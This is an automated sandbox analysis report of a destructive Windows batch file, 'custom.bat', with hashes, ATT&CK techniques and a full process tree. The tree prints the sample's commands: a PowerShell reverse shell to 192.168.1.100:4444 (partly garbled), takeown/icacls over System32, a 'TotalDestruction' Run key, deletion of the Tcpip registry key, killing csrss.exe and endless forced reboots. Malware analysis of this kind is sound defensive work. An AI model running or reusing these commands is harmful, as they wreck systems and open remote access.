1b8c1fc80ad13c703485ddb7f6581584e5b538862287266b960f4994549214a3

Analysis

max time kernel
150s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
08-09-2024 06:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

custom.bat
Size

2KB
MD5

6482067516f0f24cdc0a596de66c951a
SHA1

9a77d1d6bc48250c98e57af675dec3a2dac51ed8
SHA256

1b8c1fc80ad13c703485ddb7f6581584e5b538862287266b960f4994549214a3
SHA512

25fa1d45b9a10e97cded264824bae7e2d149850d2e0a618b448f434aedee160b7f014dca765aadd501d064e952effe5393d0163dd0cfe1bd8c03de593c037e86

Score

8^/10

discovery evasion execution exploit persistence privilege_escalation

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\rteth.sys	cmd.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
2036	takeown.exe
568	icacls.exe
1196	icacls.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2036	takeown.exe
568	icacls.exe
1196	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000\Software\Microsoft\Windows\CurrentVersion\Run\TotalDestruction = "C:\\Users\\Admin\\AppData\\Local\\Temp\\custom.bat"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
3148	powershell.exe
1972	powershell.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\coreglobconfig.dll	cmd.exe
File opened for modification	C:\Windows\System32\icu.dll	cmd.exe
File opened for modification	C:\Windows\System32\icuin.dll	cmd.exe
File opened for modification	C:\Windows\System32\icuuc.dll	cmd.exe
File opened for modification	C:\Windows\System32\mdmpostprocessevaluator.dll	cmd.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3180	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2428	ipconfig.exe

Gathers system information 1 TTPs 3 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2132	systeminfo.exe
4620	systeminfo.exe
1544	systeminfo.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
3468	taskkill.exe
3480	taskkill.exe
5036	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
1924	reg.exe
2464	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3148	powershell.exe
3148	powershell.exe
1972	powershell.exe
1972	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	1972	powershell.exe
Token: SeTakeOwnershipPrivilege	2036	takeown.exe
Token: SeShutdownPrivilege	3512	shutdown.exe
Token: SeRemoteShutdownPrivilege	3512	shutdown.exe
Token: SeShutdownPrivilege	396	shutdown.exe
Token: SeRemoteShutdownPrivilege	396	shutdown.exe
Token: SeShutdownPrivilege	4060	shutdown.exe
Token: SeRemoteShutdownPrivilege	4060	shutdown.exe
Token: SeShutdownPrivilege	4704	shutdown.exe
Token: SeRemoteShutdownPrivilege	4704	shutdown.exe
Token: SeShutdownPrivilege	4080	shutdown.exe
Token: SeRemoteShutdownPrivilege	4080	shutdown.exe
Token: SeShutdownPrivilege	3832	shutdown.exe
Token: SeRemoteShutdownPrivilege	3832	shutdown.exe
Token: SeShutdownPrivilege	5004	shutdown.exe
Token: SeRemoteShutdownPrivilege	5004	shutdown.exe
Token: SeShutdownPrivilege	2396	shutdown.exe
Token: SeRemoteShutdownPrivilege	2396	shutdown.exe
Token: SeShutdownPrivilege	2248	shutdown.exe
Token: SeRemoteShutdownPrivilege	2248	shutdown.exe
Token: SeShutdownPrivilege	3292	shutdown.exe
Token: SeRemoteShutdownPrivilege	3292	shutdown.exe
Token: SeShutdownPrivilege	1784	shutdown.exe
Token: SeRemoteShutdownPrivilege	1784	shutdown.exe
Token: SeShutdownPrivilege	4916	shutdown.exe
Token: SeRemoteShutdownPrivilege	4916	shutdown.exe
Token: SeShutdownPrivilege	2056	shutdown.exe
Token: SeRemoteShutdownPrivilege	2056	shutdown.exe
Token: SeShutdownPrivilege	1048	shutdown.exe
Token: SeRemoteShutdownPrivilege	1048	shutdown.exe
Token: SeShutdownPrivilege	4944	shutdown.exe
Token: SeRemoteShutdownPrivilege	4944	shutdown.exe
Token: SeShutdownPrivilege	1312	shutdown.exe
Token: SeRemoteShutdownPrivilege	1312	shutdown.exe
Token: SeShutdownPrivilege	3872	shutdown.exe
Token: SeRemoteShutdownPrivilege	3872	shutdown.exe
Token: SeShutdownPrivilege	4168	shutdown.exe
Token: SeRemoteShutdownPrivilege	4168	shutdown.exe
Token: SeShutdownPrivilege	4488	shutdown.exe
Token: SeRemoteShutdownPrivilege	4488	shutdown.exe
Token: SeShutdownPrivilege	436	shutdown.exe
Token: SeRemoteShutdownPrivilege	436	shutdown.exe
Token: SeShutdownPrivilege	564	shutdown.exe
Token: SeRemoteShutdownPrivilege	564	shutdown.exe
Token: SeShutdownPrivilege	1396	shutdown.exe
Token: SeRemoteShutdownPrivilege	1396	shutdown.exe
Token: SeShutdownPrivilege	3612	shutdown.exe
Token: SeRemoteShutdownPrivilege	3612	shutdown.exe
Token: SeShutdownPrivilege	4532	shutdown.exe
Token: SeRemoteShutdownPrivilege	4532	shutdown.exe
Token: SeShutdownPrivilege	2012	shutdown.exe
Token: SeRemoteShutdownPrivilege	2012	shutdown.exe
Token: SeShutdownPrivilege	4184	shutdown.exe
Token: SeRemoteShutdownPrivilege	4184	shutdown.exe
Token: SeShutdownPrivilege	1916	shutdown.exe
Token: SeRemoteShutdownPrivilege	1916	shutdown.exe
Token: SeShutdownPrivilege	3652	shutdown.exe
Token: SeRemoteShutdownPrivilege	3652	shutdown.exe
Token: SeShutdownPrivilege	2340	shutdown.exe
Token: SeRemoteShutdownPrivilege	2340	shutdown.exe
Token: SeShutdownPrivilege	2464	shutdown.exe
Token: SeRemoteShutdownPrivilege	2464	shutdown.exe
Token: SeShutdownPrivilege	5064	shutdown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4848 wrote to memory of 1088	4848	cmd.exe	81
PID 4848 wrote to memory of 1088	4848	cmd.exe	81
PID 1088 wrote to memory of 3148	1088	cmd.exe	83
PID 1088 wrote to memory of 3148	1088	cmd.exe	83
PID 3148 wrote to memory of 1840	3148	powershell.exe	84
PID 3148 wrote to memory of 1840	3148	powershell.exe	84
PID 1088 wrote to memory of 4620	1088	cmd.exe	87
PID 1088 wrote to memory of 4620	1088	cmd.exe	87
PID 1088 wrote to memory of 4484	1088	cmd.exe	88
PID 1088 wrote to memory of 4484	1088	cmd.exe	88
PID 1088 wrote to memory of 1544	1088	cmd.exe	91
PID 1088 wrote to memory of 1544	1088	cmd.exe	91
PID 1088 wrote to memory of 2856	1088	cmd.exe	92
PID 1088 wrote to memory of 2856	1088	cmd.exe	92
PID 1088 wrote to memory of 2132	1088	cmd.exe	93
PID 1088 wrote to memory of 2132	1088	cmd.exe	93
PID 1088 wrote to memory of 728	1088	cmd.exe	94
PID 1088 wrote to memory of 728	1088	cmd.exe	94
PID 1088 wrote to memory of 1972	1088	cmd.exe	95
PID 1088 wrote to memory of 1972	1088	cmd.exe	95
PID 1088 wrote to memory of 2036	1088	cmd.exe	96
PID 1088 wrote to memory of 2036	1088	cmd.exe	96
PID 1088 wrote to memory of 568	1088	cmd.exe	97
PID 1088 wrote to memory of 568	1088	cmd.exe	97
PID 1088 wrote to memory of 1196	1088	cmd.exe	98
PID 1088 wrote to memory of 1196	1088	cmd.exe	98
PID 1088 wrote to memory of 3652	1088	cmd.exe	99
PID 1088 wrote to memory of 3652	1088	cmd.exe	99
PID 1088 wrote to memory of 1924	1088	cmd.exe	100
PID 1088 wrote to memory of 1924	1088	cmd.exe	100
PID 1088 wrote to memory of 3480	1088	cmd.exe	101
PID 1088 wrote to memory of 3480	1088	cmd.exe	101
PID 1088 wrote to memory of 3468	1088	cmd.exe	102
PID 1088 wrote to memory of 3468	1088	cmd.exe	102
PID 1088 wrote to memory of 2428	1088	cmd.exe	103
PID 1088 wrote to memory of 2428	1088	cmd.exe	103
PID 1088 wrote to memory of 3696	1088	cmd.exe	104
PID 1088 wrote to memory of 3696	1088	cmd.exe	104
PID 1088 wrote to memory of 2464	1088	cmd.exe	105
PID 1088 wrote to memory of 2464	1088	cmd.exe	105
PID 1088 wrote to memory of 3180	1088	cmd.exe	106
PID 1088 wrote to memory of 3180	1088	cmd.exe	106
PID 1088 wrote to memory of 5036	1088	cmd.exe	107
PID 1088 wrote to memory of 5036	1088	cmd.exe	107
PID 1088 wrote to memory of 3512	1088	cmd.exe	108
PID 1088 wrote to memory of 3512	1088	cmd.exe	108
PID 1088 wrote to memory of 396	1088	cmd.exe	109
PID 1088 wrote to memory of 396	1088	cmd.exe	109
PID 1088 wrote to memory of 4060	1088	cmd.exe	110
PID 1088 wrote to memory of 4060	1088	cmd.exe	110
PID 1088 wrote to memory of 4704	1088	cmd.exe	111
PID 1088 wrote to memory of 4704	1088	cmd.exe	111
PID 1088 wrote to memory of 4080	1088	cmd.exe	112
PID 1088 wrote to memory of 4080	1088	cmd.exe	112
PID 1088 wrote to memory of 3832	1088	cmd.exe	113
PID 1088 wrote to memory of 3832	1088	cmd.exe	113
PID 1088 wrote to memory of 5004	1088	cmd.exe	114
PID 1088 wrote to memory of 5004	1088	cmd.exe	114
PID 1088 wrote to memory of 2396	1088	cmd.exe	115
PID 1088 wrote to memory of 2396	1088	cmd.exe	115
PID 1088 wrote to memory of 2248	1088	cmd.exe	116
PID 1088 wrote to memory of 2248	1088	cmd.exe	116
PID 1088 wrote to memory of 3292	1088	cmd.exe	117
PID 1088 wrote to memory of 3292	1088	cmd.exe	117

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\custom.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4848
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\custom.bat /min
  2⤵
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Start-Process cmd -Verb runAs"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3148
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:1840
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4620
- - C:\Windows\system32\findstr.exe
    findstr /i "VirtualBox"
    3⤵
    PID:4484
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1544
- - C:\Windows\system32\findstr.exe
    findstr /i "VMware"
    3⤵
    PID:2856
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2132
- - C:\Windows\system32\findstr.exe
    findstr /i "Hyper-V"
    3⤵
    PID:728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100', 4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|:ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1972
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\* /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2036
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\* /grant Admin:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:568
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\drivers\* /grant Admin:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1196
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "TotalDestruction" /d "C:\Users\Admin\AppData\Local\Temp\custom.bat" /f
    3⤵
    - Adds Run key to start application
    PID:3652
- - C:\Windows\system32\reg.exe
    reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:1924
- - C:\Windows\system32\taskkill.exe
    taskkill /IM vmsrvc.exe /F
    3⤵
    - Kills process with taskkill
    PID:3480
- - C:\Windows\system32\taskkill.exe
    taskkill /IM VBoxService.exe /F
    3⤵
    - Kills process with taskkill
    PID:3468
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:2428
- - C:\Windows\system32\netsh.exe
    netsh interface ip delete arpcache
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3696
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\Tcpip /f
    3⤵
    - Modifies registry key
    PID:2464
- - C:\Windows\system32\sc.exe
    sc stop i8042prt
    3⤵
    - Launches sc.exe
    PID:3180
- - C:\Windows\system32\taskkill.exe
    taskkill /IM csrss.exe /F
    3⤵
    - Kills process with taskkill
    PID:5036
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3512
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4060
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4080
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5004
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2248
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3292
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1784
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4916
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2056
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1048
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4944
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1312
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3872
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4168
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4488
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:436
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:564
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3612
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4532
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4184
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1916
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3652
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2340
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2464
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5064
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5028
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4140
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:328
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3140
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3128
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4216
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4412
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2032
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:948
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4788
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2544
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4144
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4604
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2120
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2708
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2856
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3852
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1936
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4612
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:564
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3388
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1140
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3612
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2180
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2792
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3940
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2852
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1368
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:764
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2428
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3848
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5064
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5056
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4060
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:996
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4476
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4420
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2960
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:968
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2820
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2264
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3324
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4620
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3768
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2184
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4484
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3464
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2856
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1804
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3288
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2408
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3808
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2584
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:484
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:248
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1744
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1724
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3120
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1992
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4440
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:676
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2784
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2892
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4244
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3848
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5032
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5072
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4624
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4720
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4476
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4216
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:804
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4616
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1372
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1516
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4924
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4156
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2708
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1424
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:488
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2424
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2596
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2536
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3404
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1812
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1836
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:428
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4904
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3512
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1988
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2340
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3340
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3828
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4668
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4768
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:328
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2292
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4080
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5004
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:864
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:556
